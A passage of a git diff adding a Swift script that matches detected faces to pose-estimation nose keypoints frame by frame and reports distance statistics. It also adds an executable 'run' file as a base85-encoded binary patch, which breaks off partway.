pf.persons + } + } + + var matchedFrames: [MatchedOutput.MatchedFrame] = [] + var allDistances: [Double] = [] + var totalMatched = 0 + var totalUnmatched = 0 + + for faceFrame in faceData.faces { + let fn = faceFrame.frame + let poses = poseByFrame[fn] ?? [] + + var matches: [MatchedOutput.MatchedFrame.Match] = [] + var usedPoseIndices = Set() + + for (faceIdx, face) in faceFrame.faces.enumerated() { + let fcx = Double(face.x + face.width / 2) + let fcy = Double(face.y + face.height / 2) + + var bestDist = Double.infinity + var bestPoseIdx: Int? = nil + + for (poseIdx, person) in poses.enumerated() { + if usedPoseIndices.contains(poseIdx) { continue } + + // Find nose keypoint + let nose = person.keypoints.first(where: { $0.name.lowercased().contains("nose") }) + guard let nose = nose else { continue } + + let dist = abs(fcx - nose.x) + abs(fcy - nose.y) + if dist < bestDist { + bestDist = dist + bestPoseIdx = poseIdx + } + } + + let isMatched = bestPoseIdx != nil && bestDist < threshold + if isMatched { + totalMatched += 1 + usedPoseIndices.insert(bestPoseIdx!) + allDistances.append(bestDist) + } else { + totalUnmatched += 1 + } + + matches.append(MatchedOutput.MatchedFrame.Match( + faceIdx: faceIdx, + poseIdx: bestPoseIdx, + distance: bestDist, + matched: isMatched + )) + } + + matchedFrames.append(MatchedOutput.MatchedFrame( + frame: fn, + faceCount: faceFrame.faces.count, + poseCount: poses.count, + matches: matches + )) + } + + let sortedDists = allDistances.sorted() + let avgDist = sortedDists.isEmpty ? 0 : sortedDists.reduce(0, +) / Double(sortedDists.count) + let medianDist = sortedDists.isEmpty ? 0 : sortedDists[sortedDists.count / 2] + + let stats = MatchedOutput.MatchStats( + totalFrames: faceData.faces.count, + framesWithFace: faceData.faces.filter { !$0.faces.isEmpty }.count, + framesWithPose: faceData.faces.filter { (poseByFrame[$0.frame] ?? []).count > 0 }.count, + matchedPairs: totalMatched, + unmatchedFaces: totalUnmatched, + avgDistance: avgDist, + medianDistance: medianDist, + under50: allDistances.filter { $0 < 50 }.count, + under100: allDistances.filter { $0 < 100 }.count + ) + + return MatchedOutput(videoFrames: matchedFrames, stats: stats) +} + +// MARK: - Main + +func run(facePath: String, posePath: String, outputPath: String) { + print("[FacePoseMatcher] Loading face.json: \(facePath)") + let faceData = try! JSONDecoder().decode(FaceData.self, from: Data(contentsOf: URL(fileURLWithPath: facePath))) + + print("[FacePoseMatcher] Loading pose.json: \(posePath)") + let poseData = try! JSONDecoder().decode(PoseData.self, from: Data(contentsOf: URL(fileURLWithPath: posePath))) + + print("[FacePoseMatcher] Matching with threshold: \(threshold)px...") + let result = matchFacesToPoses(faceData: faceData, poseFrames: poseData.frames) + + // Save output + let encoder = JSONEncoder() + encoder.outputFormatting = [.prettyPrinted, .sortedKeys] + let jsonData = try! encoder.encode(result) + try! jsonData.write(to: URL(fileURLWithPath: outputPath)) + + // Print summary + let s = result.stats + print("\n=== Face-Pose Matching Report ===") + print("Total frames: \(s.totalFrames)") + print("Frames with face: \(s.framesWithFace)") + print("Frames with pose: \(s.framesWithPose)") + print() + print("Matching (threshold: \(threshold)px):") + print(" Matched pairs: \(s.matchedPairs)") + print(" Unmatched faces: \(s.unmatchedFaces)") + print(" Match rate: \(s.totalFrames > 0 ? String(format: "%.1f%%", Double(s.matchedPairs)/Double(s.framesWithFace)*100) : "N/A")") + print() + print("Distance (face center ↔ pose nose):") + print(" Average: \(String(format: "%.1f", s.avgDistance))px") + print(" Median: \(String(format: "%.1f", s.medianDistance))px") + print(" < 50px: \(s.under50) (\(s.matchedPairs > 0 ? String(format: "%.1f%%", Double(s.under50)/Double(s.matchedPairs)*100) : "N/A"))") + print(" < 100px: \(s.under100) (\(s.matchedPairs > 0 ? String(format: "%.1f%%", Double(s.under100)/Double(s.matchedPairs)*100) : "N/A"))") + print("\nOutput saved to: \(outputPath)") +} + +// Parse arguments +var facePath: String? +var posePath: String? +var outputPath: String? + +let args = CommandLine.arguments +var i = 1 +while i < args.count { + switch args[i] { + case "--face": facePath = args[i+1]; i += 2 + case "--pose": posePath = args[i+1]; i += 2 + case "--output": outputPath = args[i+1]; i += 2 + default: i += 1 + } +} + +guard let facePath = facePath, let posePath = posePath, let outputPath = outputPath else { + print("Usage: swift match_face_pose.swift --face --pose --output ") + exit(1) +} + +run(facePath: facePath, posePath: posePath, outputPath: outputPath) diff --git a/experiments/face_pose_sync_poc/run b/experiments/face_pose_sync_poc/run new file mode 100755 index 0000000000000000000000000000000000000000..bd5e318c1c4ca7df0837ebe9885e1141fdd84b30 GIT binary patch literal 326784 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 